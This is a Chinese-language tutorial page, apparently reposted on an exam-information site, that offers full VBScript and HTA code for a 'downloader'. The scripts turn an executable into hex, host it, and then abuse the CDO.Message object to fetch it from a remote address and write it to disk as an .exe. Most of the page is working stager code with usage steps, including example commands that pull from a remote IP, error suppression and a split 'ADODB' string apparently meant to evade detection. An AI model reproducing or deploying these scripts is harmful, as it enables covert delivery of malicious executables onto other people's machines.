最新版利用CDO.Message做的vbs下載者
來源:易賢網(wǎng) 閱讀:1929 次 日期:2016-07-21 14:21:33
溫馨提示:易賢網(wǎng)小編為您整理了“最新版利用CDO.Message做的vbs下載者”,方便廣大網(wǎng)友查閱!

vbs下載者有很多了,我這里是一個(gè)偉大的發(fā)明,利用CDO.Message做的vbs下載者。偉大是裝B的意思。

NP先把代碼寫完了,詳情看這里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

LCX大哥在寫他的BLOG備份腳本時(shí)發(fā)現(xiàn) CDO.MESSAGE可以訪問網(wǎng)絡(luò)下載東西,說是研究研究或許可以用來當(dāng)下載者用。

于是研究了一會(huì)。寫出個(gè)粗糙的DEMO。

exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制

================================================

代碼如下:

'code by xiaolu

'change by NetPatch

on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

do while 1

fname=arg(0)

err.number=0

Set Ado = CreateObject("adodb.stream")

With Ado

.Type = 1

.open

.loadfromfile fname

ss = .read

End With

if err.number<>0 then

if msgbox("文件打開錯(cuò)誤!",1,"File2VBS")=2 then Wscript.quit

else

exit do

end if

loop

if fname="" then Wscript.quit

Set Fso=CreateObject("Scripting.FileSystemObject")

Set File=fso.OpenTextFile(arg(0)&".htm",2, True)

File.write Bin2Str(ss)

File.close

Set fso=nothing

Ado.close

set Abo=nothing

Function Bin2Str(Re)

For i = 1 To lenB(Re)

bt = AscB(MidB(Re, i, 1))

if bt < 16 Then Bin2Str=Bin2Str&"0"

Bin2Str=Bin2Str & Hex(bt)

Next

End Function

======================================

下載者 down.vbs

=============

代碼如下:

on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

'code by NetPatch

'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe

Set Mail1 = CreateObject("CDO.Message")

Mail1.CreateMHTMLBody arg(0),31

ss= Mail1.HTMLBody

Set Mail1 = Nothing

Set RS=CreateObject("ADODB.Recordset")

L=Len(ss)/2

RS.Fields.Append "m",205,L

RS.Open:RS.AddNew

RS("m")=ss&ChrB(0)

RS.Update

ss=RS("m").GetChunk(L)

Set s=CreateObject("ADODB.Stream")

with s

.Mode = 3

.Type = 1

.Open()

.Write ss

.SaveToFile arg(1),2

end with

==================================

demo.htm內(nèi)容時(shí)用exe2hex.vbs轉(zhuǎn)EXE后獲得的

使用方法:

1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制,放到網(wǎng)絡(luò)上

2.down.vbs http://xxx/demo.htm c:\good.exe

由于NP寫的不知什么原因,在我機(jī)器上執(zhí)行后生成的exe,進(jìn)程不會(huì)自動(dòng)退出,我重新更新一下。

=======用下面這個(gè)hta文件來轉(zhuǎn)exe變成16進(jìn)制的html保存了。這樣也會(huì)方便一點(diǎn)。=======

代碼如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>package file v0.1</title>

<meta http-equiv="Content-Type" content="text/html; charset=GB2312">

<HTA:APPLICATION

ID="package file v0.1"

APPLICATIONNAME="package file v0.1"

VERSION="0.1"

SCROLL="no"

INNERBORDER="no"

CONTEXTMENU="yes"

CAPTION="yes"

ICON="no"

SHOWINTASKBAR="yes"

SINGLEINSTANCE="yes"

SYSMENU="yes"

MAXIMIZEBUTTON ="no"

WINDOWSTATE="normal"

NAVIGABLE="yes"

/>

<SCRIPT LANGUAGE="VBScript">

function transfert()

dim filename

filename = document.getElementById("srcFile").value

if len(filename)>0 then

dim oReq

'on error resume next

'//創(chuàng)建XMLHTTP對(duì)象

set oReq = CreateObject("MSXML2.XMLHTTP")

oReq.open "get","file:\\" & filename,false

oReq.send

ff = oReq.responseBody

dim u,s,kk

u = lenb(ff)

redim kk(u-1)

for i=0 to u-1

s = hex(ascb(midb(ff,i+1,1)))

if len(s)<2 then

s = "0" & s

end if

'kk = kk & s

kk(i) = s

next

make filename,join(kk,"")

else

document.getElementById("srcFile").focus

msgbox "請(qǐng)選擇要壓縮的文件",16,"提示"

end if

end function

function make(filename,data)

dim htm,file

file = mid(filename,instrrev(filename,"\")+1)

htm = htm & data

dim fso,f

dim this_file

this_file = file & "-pf.htm"

Set fso = CreateObject("Scripting.FileSystemObject")

Set f = fso.OpenTextFile(this_file, 2, True)

f.Write htm

msgbox "生成文件" & this_file & "成功!",64,"生成"

end function

</SCRIPT>

</head>

<body marginleft=0 marginright=0 onload="window.resizeTo 389,145 ">

請(qǐng)選擇文件:<input type=file id="srcFile" style="width:260px;"><br><br>

<input type=button value=" 轉(zhuǎn)換 " onclick="transfert"> <input type=button value=" 關(guān)閉 " onclick="window.close">

</body>

</html>

=====================再用下面這個(gè)vbs腳本來下載,把hta生成的htm放到空間上,用NP寫的那個(gè)下載生成的htm也可以,代碼更少=========

代碼如下:

'//保存文件

function saveFile(filename,str)

set adodbStream = CreateObject("ADODB" & "." & "Stream")

adodbStream.Type= 1

adodbStream.Open

adodbStream.write str

adodbStream.SaveToFile filename,2

adodbStream.Close

end function

'//VB數(shù)組轉(zhuǎn)變成二進(jìn)制格式

Function MultiByteToBinary(MultiByte)

Dim RS, LMultiByte, Binary

Const adLongVarBinary = 205

Set RS = CreateObject("ADODB.Recordset")

LMultiByte = LenB(MultiByte)

If LMultiByte>0 Then

RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte

RS.Open

RS.AddNew

RS("mBinary").AppendChunk MultiByte & ChrB(0)

RS.Update

Binary = RS("mBinary").GetChunk(LMultiByte)

End If

MultiByteToBinary = Binary

End Function

function exec()

'//屏蔽錯(cuò)誤

on error resume Next

Set args = WScript.Arguments

if args.Count = 0 then

WScript.Echo "Usage: CScript down.vbs url c:\1.exe"

WScript.Quit 1

end If

dim data,t,kk,filename,ss

Set Mail1 = CreateObject("CDO.Message")

Mail1.CreateMHTMLBody args.Item(0) ,31

'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31

ss= Mail1.HTMLBody

Set Mail1=nothing

'//得到數(shù)據(jù)

data = ss

'//得到文件名

filename = args.Item(1)

'//得到數(shù)據(jù)長度

u = len(data)

'//獲得文件數(shù)組

for i=1 to u step 2

t = mid(data,i,2)

kk = kk & ChrB(clng("&H" & t))

next

'//轉(zhuǎn)變成二進(jìn)制格式

dataArry = MultiByteToBinary(kk)

'//保存文件

saveFile filename,dataArry

end function

exec()

更多信息請(qǐng)查看腳本欄目
易賢網(wǎng)手機(jī)網(wǎng)站地址:最新版利用CDO.Message做的vbs下載者
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請(qǐng)考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!

2025國考·省考課程試聽報(bào)名

  • 報(bào)班類型
  • 姓名
  • 手機(jī)號(hào)
  • 驗(yàn)證碼
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 加入群交流 | 手機(jī)站點(diǎn) | 投訴建議
工業(yè)和信息化部備案號(hào):滇ICP備2023014141號(hào)-1 云南省教育廳備案號(hào):云教ICP備0901021 滇公網(wǎng)安備53010202001879號(hào) 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號(hào)
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號(hào):hfpxwx
咨詢QQ:526150442(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報(bào)警專用圖標(biāo)